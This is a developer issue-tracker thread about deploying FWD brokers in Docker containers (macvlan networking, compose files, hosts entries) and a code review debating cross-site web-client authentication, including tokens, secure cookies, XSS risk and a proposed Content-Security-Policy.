#366 Updated by Sergey Ivanovskiy 6 months ago
- Status changed from Review to WIP
#367 Updated by Constantin Asofiei 6 months ago
From #10809-50:
Sergey Ivanovskiy wrote:
Do you have ideas how to overcome usages of LAX cookies with cross-site web client? This is exactly the broker setup case when the web client is running on the different host than the server host. This is the most severe issue with the current code.
Sergey, I do not understand this. Even if the FWD client runs on a different machine, I assume there will be some reverse-proxy which will allow the user to use the same URL; so the cookie will still be on example.com, just that it will be redirected to that machine. Otherwise, please detail more what you mean here.
#368 Updated by Sergey Ivanovskiy 6 months ago
Constantin Asofiei wrote:
From #10809-50:
Sergey Ivanovskiy wrote:Do you have ideas how to overcome usages of LAX cookies with cross-site web client? This is exactly the broker setup case when the web client is running on the different host than the server host. This is the most severe issue with the current code.
Sergey, I do not understand this. Even if the FWD client runs on a different machine, I assume there will be some reverse-proxy which will allow the user to use the same URL; so the cookie will still be on example.com, just that it will be redirected to that machine. Otherwise, please detail more what you mean here.
I meant the broker client setup without the external proxy server. In this case the broker starts the web client on the different host than the main web server host. I agree that the reverse proxy server should help in this case. Please look at the discussion from #9709-272 to #9709-283 and #9709-287.
#369 Updated by Constantin Asofiei 6 months ago
Sergey, please create a diagram how the infrastructure will look when deploying FWD with brokers.
Greg: I understand that each broker will have its own machine on which the web server (via the FWD client) will server the requests, but for me this looks like:- FWD server runs on host example.com
- you use https://example.com/ to login
- after that you get redirected to the broker's host which can be anything beside example.com (even example.com:8443 is another host in terms of cookies)
Without a reverse proxy, wouldn't this require management of real certificates for each broker host, expose the broker machine to the internet, etc? Also, lets assume in the future we want to add some automatic load-balancing of broker machines (to start/stop them on demand) - how can this be handled without a reverse proxy?
#370 Updated by Sergey Ivanovskiy 6 months ago
Constantin, #9709-277 the second option can be used.
#371 Updated by Constantin Asofiei 6 months ago
Sergey Ivanovskiy wrote:
Constantin, #9709-277 the second option can be used.
I understand, but this is not just about cookies - is about how a production deployment will work with the brokers and FWD clients running on different hosts. What URLs will the end-user's browser see?
#372 Updated by Sergey Ivanovskiy 6 months ago
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
Constantin, #9709-277 the second option can be used.
I understand, but this is not just about cookies - is about how a production deployment will work with the brokers and FWD clients running on different hosts. What URLs will the end-user's browser see?
Yes, I agree with your point. One of the deployment environment can be the reverse proxy server in front of the FWD server and broker clients.
#373 Updated by Roger Borrello 6 months ago
Sergey Ivanovskiy wrote:
I will check this later. The only idea is to use dedicatedMode = true. It should generate url like this one
https://localhost:7449?...
Interesting... I set the dedicatedMode to true. What I saw was URL was created as you said, but the browser could not connect. So I moved the port opening in the compose YAML from the hotel_server service to the hotel_broker1 service:
hotel_broker1:
image: hotel_gui_client:latest
container_name: hotel_broker1
hostname: hotelbrk1
command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker${BROKER:-1}_client.xml"'
ports:
- 7449-7459:7449-7459
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ${SEC_DIR:-../deploy/security}:/opt/hotel/security
- ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh
depends_on:
hotel_server:
condition: service_healthy
So when the URL was created, it was allowed in, and now we are signed in to Hotel at localhost. This makes me think of all the challenges of moving this to fwddev1 where now dedicate will return localhost, which won't work when the request comes from off our server. Not only that, the port assignments need to be spread out without conflicts. If the brokers were on different machines, 7449-7459 (or whatever range) could be reused. But on the same system, they have to be separated on the left side of the colon. The right side can be the same, because the services can reuse the same ports.
It is even more confusing now that I have it working :-(
#374 Updated by Greg Shah 6 months ago
Why do you use https://localhost:7443/? You should use the server address and please check these conditions, all hosts should be accessible from the host on which these containers are run. Please take into account #9709-358. There is no mystics here. The web client url and the server url must be accessible from the host on which the browser client (Chrome) is running.
Well I moved the configuration to fwddev1 so now I am using https://fwddev1:7443/gui and the results are the same. The redirect is the internal network's broker name (hotelbrk1 or hotel_broker1, depends on how I setup the containers).
Sergey is completely right that:
1. The FWD server container AND all the FWD client containers (i.e. the brokers) must be externally visible on the network. This means that access just within a single host is not OK. If there are routing or firewall issues, you must solve those issues.
2. It should not matter if this is setup on one or multiple systems. Likewise, bare metal hosts or VM hosts do not matter. If the solution is dependent upon specific configurations, that is not OK and you must solve those issues.
3. The IP addresses of the containers should be mapped to names via DNS or the hosts file, just like any other networking environment. Make sure that the names are visible to any system on which you run the browser.
Sergey, remember all these internal IP addresses and names are under the same host. Ports can be exposed to the external connections via the hosting name or IP and port (so localhost on my own computer and fwddev1 on the remote computer). But between each of the containers is a special internal network using their own names that are not available externally.
This is not OK.
So FWD somehow has to translate the internal name (hotelbrk1) to something external. In this case, I'm not even sure how that would be dealt with, since it is still fwddev1, the same host.
Greg, this multi-container setup using docker compose makes little sense now that I've actually got it configured, unless there is a proxy config to fool it into working.
In production, orchestration tools like Kubernetes will be used in preference to Docker Compose. But surely Docker Compose can simulate the startup for multiple containers that are EXTERNALLY VISIBLE. This is a basic requirement that even Docker Compose must support.
#375 Updated by Greg Shah 6 months ago
Prepare the directory
CFG_FILE=prepare_dir_postgres_docker_compose.json docker compose -f docker-compose_prepare.yml up Ctrl-C when done docker compose -f docker-compose_prepare.yml down
Do we really need to use compose to prepare the directory? That is surprising.
#376 Updated by Greg Shah 6 months ago
Constantin: I agree that reverse proxy will be commonly used and often chosen. But I don't want to require reverse proxy for multi-container/broker support. Reverse proxy brings extra runtime communicaation overhead, extra configuration and more software running. It is useful for many production environments but is not something that we always want.
#377 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
Prepare the directory
[...]
Do we really need to use compose to prepare the directory? That is surprising.
No, Greg. We can do it either way. It just provides a much more flexible interface without a lot of script. The YAML is:
hotel_preparer:
image: hotel_gui_server:latest
container_name: hotel_preparer
command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel /opt/hotel/etc/${CFG_FILE:-prepare_dir.json}"'
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ./repo/entrypoint/docker-entrypoint_prepare.sh:/opt/hotel/docker/docker-entrypoint.sh
environment:
ADMIN_CONSOLE_PASSWORD: ${ADMIN_CONSOLE_PASSWORD:-test123}
APP_DBUSER_PASSWORD: ${APP_DBUSER_PASSWORD:-user}
so you can set environment variables on the command line or in a
.env file. This certainly can be done with a bash, too.#380 Updated by Constantin Asofiei 6 months ago
Something else to consider: if the iframe is served directly by the broker host, then each broker will require its own webcertificate.
#381 Updated by Sergey Ivanovskiy 6 months ago
Why it cannot use the main web server certificate?
#382 Updated by Constantin Asofiei 6 months ago
Sergey Ivanovskiy wrote:
Why it cannot use the main web server certificate?
It will work, but we will need to document that the single webcertificate must match all the hosts for all brokers used.
#383 Updated by Sergey Ivanovskiy 6 months ago
This committed revision 16373 (9709b) was tested with one of the customers large application, found issues related to the custom html menu. It needs to add applications path from the html browser white list that is not implemented by AuthHandler logic at this moment.
#384 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
In production, orchestration tools like Kubernetes will be used in preference to Docker Compose. But surely Docker Compose can simulate the startup for multiple containers that are EXTERNALLY VISIBLE. This is a basic requirement that even Docker Compose must support.
Let's backup and avoid the use case where broker and server are on the same system. The spread out configuration is working. The server container is visible to the web browser via port <host>:7443. The host of the container knows how to route via that port.
The database container is visible to the server container via the JDBC URL, which is built using the port and database container name. This URL can use an external name instead of container name, if the DB container is running on another computer.
The server is visible to the broker (at least the first one) via port 3333 when I use the host name, even when running in a container. It's only when we have to use container names or container hostnames that we have troubles. The redirect name cannot be resolved when returned to the web browser by the embedded Docker DNS.
In this use case of a single system (fwddev1), I've tried using fwddev1 for both the values in the broker1_client.xml, and it doesn't work with connection refused whether dedicated is true or false. If it is on my laptop and everything is localhost, it does work. That's the only time I've seen it work.
So it is working better spread across VMs than trying to compact it into a single system.
#385 Updated by Sergey Ivanovskiy 6 months ago
The server is visible to the broker (at least the first one) via port 3333 when I use the host name, even when running in a container. It's only when we have to use container names or container hostnames that we have troubles. The redirect name cannot be resolved when returned to the web browser by the embedded Docker DNS.
Redirect url is built by the web client spawner, not by DNS service.
In this use case of a single system (
fwddev1), I've tried usingfwddev1for both the values in thebroker1_client.xml, and it doesn't work with connection refused whetherdedicatedis true or false. If it is on my laptop and everything is localhost, it does work. That's the only time I've seen it work.
Dedicated mode just makes web client url to start with https://localhost: and no more!
#386 Updated by Greg Shah 6 months ago
As stated previously, we must not base our networking on the concept that the containers will be accessible from the host's name or IP. That idea of exposing specific containers as a port on the host is NOT OK.
- It does not scale. If I want to have 5 FWD server containers running on the same host, it just can't work.
- It is not amenable to a flexible implementation where we locate the containers arbitrarily across some set of systems.
When I see references to fwddev1 in your posts, it very much seems like you are trying to map the containers into the host's ports. That is no bueno.
For this to work, every container has its own IP address which must be externally accessible on the network outside of the docker host. It should be in the externally available DNS where the browser can see it or in a hosts file where the browser can see it.
#387 Updated by Greg Shah 6 months ago
To be clear: these are the things that must be visible externally:
- FWD server's IP address and Jetty port
- FWD client container (a.k.a. broker) IP address and the associated Jetty port range for the FWD clients
Everything else is internally connecting. But essentially, external communication to the virtual network for Docker must be completely working.
#388 Updated by Sergey Ivanovskiy 6 months ago
Committed revision 16374(9709b) improved the web token validation logic in order to generate web token on the java web client side. Continue working on AuthHandler logic for the web browse white list.
#390 Updated by Sergey Ivanovskiy 6 months ago
Greg Shah wrote:
What do we need to do to finish this work and help get this into trunk sometime next week?
It needs a solution of how to replace authentication cookies that used for auto login and another scenarios. Could we use web storage for this? I asked for help in this thread, for an example #9709-365. The other cases related to openMimeResource and Html browse widget usages should be fixed today - these cases do not add problems on this way.
#391 Updated by Sergey Ivanovskiy 6 months ago
Greg, could 9709b be reviewed at this stage because during the review these problems could be solved.
#392 Updated by Sergey Ivanovskiy 6 months ago
localStorage and sessionStorage with the authentication header is not recommended approach but using secret key we can encrypt the web token value that can be used instead of authentication cookies. It seems for our cross-site web page we have no another ways?
#394 Updated by Sergey Ivanovskiy 6 months ago
I also tried to set response headers like these Access-Control-Allow-Credentials and Access-Control-Allow-Origin with the secure cookies and SameSite = Strict but did not succeed. The Chrome rejected to set this cookie. May be I missed additional header that should be provided for the client on this way?
#395 Updated by Sergey Ivanovskiy 6 months ago
Committed rev 16375 (9709b). This is what is possible to do with the current cross-site web client page and dynamic html pages that used by the large customer project, for example custom menu, based on dynamic html.
Please evaluate this approach, the security issues are partly solved.
#396 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
To be clear: these are the things that must be visible externally:
- FWD server's IP address and Jetty port
- FWD client container (a.k.a. broker) IP address and the associated Jetty port range for the FWD clients
Everything else is internally connecting. But essentially, external communication to the virtual network for Docker must be completely working.
The typical Docker network is bridged. I am learning about doing things like macvlan (or ipvlan) so you can have:
192.168.1.241 → fwddev1 (docker host) 192.168.2.50 → hoteldb (container) 192.168.2.51 → hotelsrv1 (container) 192.168.2.52 → hotelbrk1 (container)
No port mapping, no NAT, and each container has its own IP and DNS identity. This is what you are talking about, correct?
#398 Updated by Sergey Ivanovskiy 6 months ago
Committed rev 16378 (9709b) fixed and tested MSG_ALLOCATE_NEW_WEB_TOKEN.
#399 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
No port mapping, no NAT, and each container has its own IP and DNS identity. This is what you are talking about, correct?
Yes
I did find some docs in https://docs.docker.com/engine/network/drivers/. When I asked the Docker AI when to use one or the other of macvlan or ipvlan, it answered:
You should consider using the macvlan or ipvlan network drivers in Docker Compose when you have specific networking requirements that aren't met by the default bridge or overlay drivers. Here’s when each is appropriate:
Use macvlan when:- You need each container to appear as a unique physical device on your network, each with its own MAC address.
- You are dealing with legacy applications or network monitoring tools that expect direct access to the physical network.
- You want containers to be directly accessible from the external network, as if they were physical hosts.
- You want similar direct network access as macvlan, but your environment restricts the number of MAC addresses per physical interface (for example, some cloud providers or network switches).
- You want to reduce the number of MAC addresses on your network, since ipvlan containers share the parent interface’s MAC address.
- You need more control over IPv4/IPv6 addressing and possibly VLAN tagging or L3 routing.
- macvlan assigns a unique MAC address to each container, making them appear as separate devices on the network.
- ipvlan shares the parent interface’s MAC address among containers, reducing MAC address usage and avoiding issues with MAC address limits.
- Both drivers require Linux hosts and are not supported on Docker Desktop for Mac/Windows.
- Most cloud providers block macvlan networking.
- Containers on macvlan or ipvlan networks cannot communicate directly with the Docker host by default.
- Use these drivers if you need containers to be on the same Layer 2 network as your physical hosts, or if you need advanced VLAN or routing features.
| Use case | Recommended driver | ||
|---|---|---|---|
| Each container needs its own MAC address | macvlan | ||
| MAC address exhaustion or switch limitations | ipvlan |
Direct Layer 2 network access (no NAT/bridge) | macvlan/ipvlan |
| Advanced VLAN/L3 routing control | ipvlan |
For most applications, the default bridge or overlay networks are sufficient. Use macvlan or ipvlan only when you have specific requirements as described above.
Sources:
https://docs.docker.com/engine/network/drivers/macvlan/
https://docs.docker.com/engine/network/drivers/ipvlan/
It is also possible to dedicate a host to a specific container, which would simplify configuration to the default bridge, and allow for the benefits of a docker container, and reduce complexities greatly.
#400 Updated by Roger Borrello 6 months ago
Sergey, am I able to test with the very latest revision of 9709b? Or do I need to stay with 16336?
Greg, I have a configuration that is a self-contained now. It does require some additional network updates per the macvlan addition mentioned above. I will outline here.
In order to allow my containers to be accessed directly, I created a macvlan via:
docker network create -d macvlan --subnet=192.168.2.0/24 --gateway=192.168.2.1 -o parent=eth1 corp_lan
The subnet was chosen as 192.168.2.0/24 since my laptop is on 192.168.1.0/24 and my interface is eth1. This creates a network I can add to the Docker compose YAML and assign IP addresses to each of the services. No port openings are required.
I also had to create proper routing on my laptop, because as mentioned, the macvlan is created isolated from the host. I did this with:
sudo ip link add corp_lan_host link enp0s31f6 type macvlan mode bridge sudo ip addr add 192.168.2.10/24 dev corp_lan_host sudo ip link set corp_lan_host up
The last command was redundant, because the route was added automatically. It returned:
RTNETLINK answers: File exists.
Now I was able to configure the directory with hotelsrv as the embedded server. Then I could update my laptop's /etc/hosts with the below to match up with the hosts defined in the compose yaml:
192.168.2.50 hoteldb 192.168.2.51 hotelsrv 192.168.2.52 hotelbrk1
This would allow me to access the server container from my laptop as https://hotelsrv:7443/gui. The broker setup also allowed me to use names with the hosts file setup. I just had to go through the https://hotelbrk1:7449/index.html?token=f9922cd26f9b773a1a1a57e944ff6a96 allowances again.
#401 Updated by Sergey Ivanovskiy 6 months ago
Roger Borrello wrote:
Sergey, am I able to test with the very latest revision of 9709b? Or do I need to stay with 16336?
You can use the last version of 9709b rev 16379. I tested with the large customer application and hotel gui. The last changes are to use Base64 URL-safe encoding and to add missed java docs and entries.
#402 Updated by Sergey Ivanovskiy 6 months ago
I have not fixed yet the test keyboard handler and not tested upload files handler. Thus in these parts can be changes.
#403 Updated by Hynek Cihlar 6 months ago
Code review 9709b.
I have some comments to address in the changes, but my biggest concern is the api token management.
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
If I remember correctly the original problem was that since the inner frame and the outer frame have different origins, the outer frame can't establish a secure session cookie. Please correct me if I'm wrong. Why not to establish the secure cookie by the Java driver itself (the one serving the client)? And then making sure all the resource requests (css, img, js, etc.) go to FWD client and not to FWD server?
#404 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Code review 9709b.
I have some comments to address in the changes, but my biggest concern is the api token management.
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
I used ASM/GSM/NoPadding encoding schema and all web token keys are public and should be used only one time in request. The secret key is delivered via the web socket on MSG_CLIENT_READY. The web token in index.html is not needed 'apiToken' and I should remove this from the index.html template. This is the first idea that does not work but the code is in not removed yet:
p2j.init({
'isGui' : ${isGui},
'isSso' : ${isSso},
'token' : new URLSearchParams(window.location.search).get('token'),
'apiToken' : {'apiTokenName' : '${apiTokenName}', 'apiTokenValue' : '${apiTokenValue}'},
If I remember correctly the original problem was that since the inner frame and the outer frame have different origins, the outer frame can't establish a secure session cookie. Please correct me if I'm wrong. Why not to establish the secure cookie by the Java driver itself (the one serving the client)? And then making sure all the resource requests (css, img, js, etc.) go to FWD client and not to FWD server?
The current cookie is served by AuthHandler that is part of the web client code. Correct? What do you mean by the Java driver itself?
#405 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Code review 9709b.
I have some comments to address in the changes, but my biggest concern is the api token management.
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
You just killed your idea by yourself because the secure cookie can be view by the developer tools. We should consider the existing web attacks and recommendations to overcome them.
#406 Updated by Sergey Ivanovskiy 6 months ago
The only web authentication method that is available for the customer that uses the dynamic web pages is the secure cookie authentication except the custom dynamic pages will use the provided authentication tokens.
I would propose to make two methods if the web client is started in the local environment on the same host or using the external web proxy, then the web authentication is done by the secure cookie, otherwise the web authentication is web tokens. The web tokens authentication requires that the client sends authentication web tokens with each requests.
Web authentication methods except the secure cookies are
https://share.google/aimode/FRj6RlyMusc4xMo9R
#407 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
Code review 9709b.
I have some comments to address in the changes, but my biggest concern is the api token management.
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
You just killed your idea by yourself because the secure cookie can be view by the developer tools. We should consider the existing web attacks and recommendations to overcome them.
Secure session cookie is a one-time thing (for the duration of the session), whereas the secret key is static. Once revealed, it can be used forever (until changed by the admin).
#408 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
The only web authentication method that is available for the customer that uses the dynamic web pages is the secure cookie authentication except the custom dynamic pages will use the provided authentication tokens.
I would propose to make two methods if the web client is started in the local environment on the same host or using the external web proxy, then the web authentication is done by the secure cookie, otherwise the web authentication is web tokens. The web tokens authentication requires that the client sends authentication web tokens with each requests.
Web authentication methods except the secure cookies are
https://share.google/aimode/FRj6RlyMusc4xMo9R
Sorry, can you please remind why was the secure session cookie replaced in the first place? I want to be sure I'm on the right track here. Thanks.
#409 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
Code review 9709b.
I have some comments to address in the changes, but my biggest concern is the api token management.
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
You just killed your idea by yourself because the secure cookie can be view by the developer tools. We should consider the existing web attacks and recommendations to overcome them.
Secure session cookie is a one-time thing (for the duration of the session), whereas the secret key is static. Once revealed, it can be used forever (until changed by the admin).
I used the session secret key, you should be see it from the code.
#410 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
The only web authentication method that is available for the customer that uses the dynamic web pages is the secure cookie authentication except the custom dynamic pages will use the provided authentication tokens.
I would propose to make two methods if the web client is started in the local environment on the same host or using the external web proxy, then the web authentication is done by the secure cookie, otherwise the web authentication is web tokens. The web tokens authentication requires that the client sends authentication web tokens with each requests.
Web authentication methods except the secure cookies are
https://share.google/aimode/FRj6RlyMusc4xMo9RSorry, can you please remind why was the secure session cookie replaced in the first place? I want to be sure I'm on the right track here. Thanks.
Please revisit #9709-289.
#411 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Please revisit #9709-289.
Yes, thanks. This is the SameSite policy on the cookie in the response what causes the trouble since the ip address of the top page is different from the main-iframe iframe src.
I see two options.
1. Reverse proxy to have both the top and the inner iframe be served by the same server and keep the SameSite session cookie. This is the most secure solution and doesn't require any code changes.
postMessage with the following conditions.
- The auth token must be short-lived (couple of minutes most) and should be refreshed via the top-page.
- Static resources (img, css, js) would either be public (they are public anyway), or fetched via authenticated XHR/fetch and injected, since browser resource loading cannot attach auth headers.
- The auth token stored only in memory and never persisted.
- Employ Content Security Policy (CSP) to make the XSS less likely (to secure the auth token). Something like:
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-{RANDOM}'; style-src 'self'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors https://ipA:portA; require-trusted-types-for 'script';
Greg, Constantin, please comment.
#412 Updated by Sergey Ivanovskiy 6 months ago
I still do not understand why we should use postMessage, the web tokens can be generated as it is implemented in 9709b. You did not do a review of 9709b.
#413 Updated by Roger Borrello 6 months ago
Sergey Ivanovskiy wrote:
Roger Borrello wrote:
Sergey, am I able to test with the very latest revision of 9709b? Or do I need to stay with 16336?
You can use the last version of 9709b rev 16379. I tested with the large customer application and hotel gui. The last changes are to use Base64 URL-safe encoding and to add missed java docs and entries.
Thanks... quick question. If I want to test my customer application with brokers, I need to use 9709b correct? What is the latest rebase trunk revision?
#414 Updated by Sergey Ivanovskiy 6 months ago
Yes, 9709b rev 16379 and the latest rebase trunk rev 16353.
#415 Updated by Sergey Ivanovskiy 6 months ago
Static resources (img, css, js) would either be public (they are public anyway), or fetched via authenticated XHR/fetch and injected, since browser resource loading cannot attach auth headers.
This is difficult to do for the large customer application because these paths are not known to the server and resolved via the white list, correct?
#416 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
I still do not understand why we should use
postMessage, the web tokens can be generated as it is implemented in9709b. You did not do a review of9709b.
The requirement to have the top frame provide the auth token for the inner iframe comes from the idea of the short-lived auth token. Then the only reliable channel to refresh a short lived token is the top frame (with the samesite secure session cookie). Otherwise how would you reconnect a temporarily disconnected session?
#417 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Static resources (img, css, js) would either be public (they are public anyway), or fetched via authenticated XHR/fetch and injected, since browser resource loading cannot attach auth headers.
This is difficult to do for the large customer application because these paths are not known to the server and resolved via the white list, correct?
The needed resources could be white-listed at the resource handler on the client's web server.
#418 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
I still do not understand why we should use
postMessage, the web tokens can be generated as it is implemented in9709b. You did not do a review of9709b.The requirement to have the top frame provide the auth token for the inner iframe comes from the idea of the short-lived auth token. Then the only reliable channel to refresh a short lived token is the top frame (with the samesite secure session cookie). Otherwise how would you reconnect a temporarily disconnected session?
I have an idea but did not realize this one. In 9709b we have MSG_ALLOCATE_NEW_WEB_TOKEN that can preallocate new sequence numbers on the java web client for an example a pool of numbers that can be used on the js client to create one time leave authentication token. I did it for Test Keyboards handler. I should note that your proposals for static resources are very needed for 9709b. I need help and proposals here.
#419 Updated by Greg Shah 6 months ago
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
We can't move ahead with this design.
I see two options.
1. Reverse proxy to have both the top and the inner iframe be served by the same server and keep the SameSite session cookie. This is the most secure solution and doesn't require any code changes.
The problem with reverse proxy is that it brings extra complication, more software (external Apache or NGINX) to manage/configure and it adds overhead to every network round trip. So: we don't want to require this as part of our solution.
2. An auth token passed to the inner frame from the top via a postMessage with the following conditions.
I'm open to this.
#420 Updated by Sergey Ivanovskiy 6 months ago
Greg Shah wrote:
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
We can't move ahead with this design.
I see two options.
1. Reverse proxy to have both the top and the inner iframe be served by the same server and keep the SameSite session cookie. This is the most secure solution and doesn't require any code changes.
The problem with reverse proxy is that it brings extra complication, more software (external Apache or NGINX) to manage/configure and it adds overhead to every network round trip. So: we don't want to require this as part of our solution.
2. An auth token passed to the inner frame from the top via a postMessage with the following conditions.
I'm open to this.
Greg, I do not understand why you and Hynek decided that I implemented the described by this text a design?:
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
#422 Updated by Greg Shah 6 months ago
- Related to Feature #11152: improve broker session distribution to implement simple load balancing added
#423 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Greg, I do not understand why you and Hynek decided that I implemented the described by this text a design?:
When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.
Sergey, the problematic part is websock.clientReady(config.getString("security", "aes_gsm", "key", "")); in GuiWebDriver.clientReady. Unless I'm missing something the string read from config (defined in the directory) is an unencrypted key sent to the js client in MSG_CLIENT_READY web socket message.
#424 Updated by Sergey Ivanovskiy 6 months ago
This value is not persistent in the directory. It is a temporary value delivered to the java web client by WebClientSpawner. Why do you think that this way is not a secure way to deliver the session secret key? If this way is not secure, then all messages between the java web client and the js web client can be considered insecure.
#425 Updated by Sergey Ivanovskiy 6 months ago
Greg Shah wrote:
OK, then please provide a detailed description of your changes and why they are safe and secure.
The js web client gets the session secret key from the java web client and store this key in the memory. This key is used to build public one-time web tokens. Web tokens are allocated from the java web client side.
If this way is not considered secure, then all messages between js web client and the java web client are insecure.
#426 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
This value is not persistent in the directory. It is a temporary value delivered to the java web client by WebClientSpawner. Why do you think that this way is not a secure way to deliver the session secret key? If this way is not secure, then all messages between the java web client and the js web client can be considered insecure.
Right, it is not saved in the directory and I missed this part, but the analogy with the safe and the key still applies. You generate a secret api token on the server, you pass it to JS client and then send it an unencrypted key. Giving the JS client an unencrypted key doesn't make the authentication process any more secure, unfortunately. It only introduces some noise.
To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.
#427 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.
Which data your proposed schema should defend? I think that XSS attacker cannot read the private field in the memory. Why do you think that these attacks are possible for the private field? Why do you consider the case when the js web client host is compromised. The current secure cookies are not secure in this sense.
#428 Updated by Sergey Ivanovskiy 6 months ago
Greg, Hynek, please note that the security requirements that you are considering are not satisfied by the trunk!
If I understand correctly the proposed schema should deliver short leave session keys. During this time this schema can be compromised by the same hypothetical methods by some attackers.
#429 Updated by Sergey Ivanovskiy 6 months ago
Please specify the security requirements that should be satisfied to implement one-time web tokens and please explain why 9709b does not satisfy them.
#430 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.
Which data your proposed schema should defend? I think that XSS attacker cannot read the private field in the memory. Why do you think that these attacks are possible for the private field? Why do you consider the case when the js web client host is compromised. The current secure cookies are not secure in this sense.
While an XSS attacker can't read the private field directly she could "patch" the relevant functions when the key is passed around. Secure cookies are safe as the browser won't allow JS to read the cookie.
#431 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Greg, Hynek, please note that the security requirements that you are considering are not satisfied by the trunk!
If I understand correctly the proposed schema should deliver short leave session keys. During this time this schema can be compromised by the same hypothetical methods by some attackers.
You are right, even the short-lived tokens can be misused. But making them short lived at least shortens the window. And so it is important to also harden the execution by the above mentioned Content Security Policy.
#432 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Please specify the security requirements that should be satisfied to implement one-time web tokens and please explain why 9709b does not satisfy them.
The requirement is to use maximum meaningful measures to prevent unauthorized access to the system. Short-lived tokens are more secure as they shorten the window for the attacker to misuse the token. CSP makes it harder to steal the token by a potentially injected malicious JS. OTOH sending encrypted token together with the decryption key is neutral to the security and doesn't add any value. In fact it adds significant code complexity and maintenance burden, so it should be removed.
#433 Updated by Hynek Cihlar 6 months ago
An important point, the CSP measures should be configurable. They could prevent Lyra from extending the site DOM and effectively break FWD automated testing, see #10860 and #11113.
#434 Updated by Sergey Ivanovskiy 6 months ago
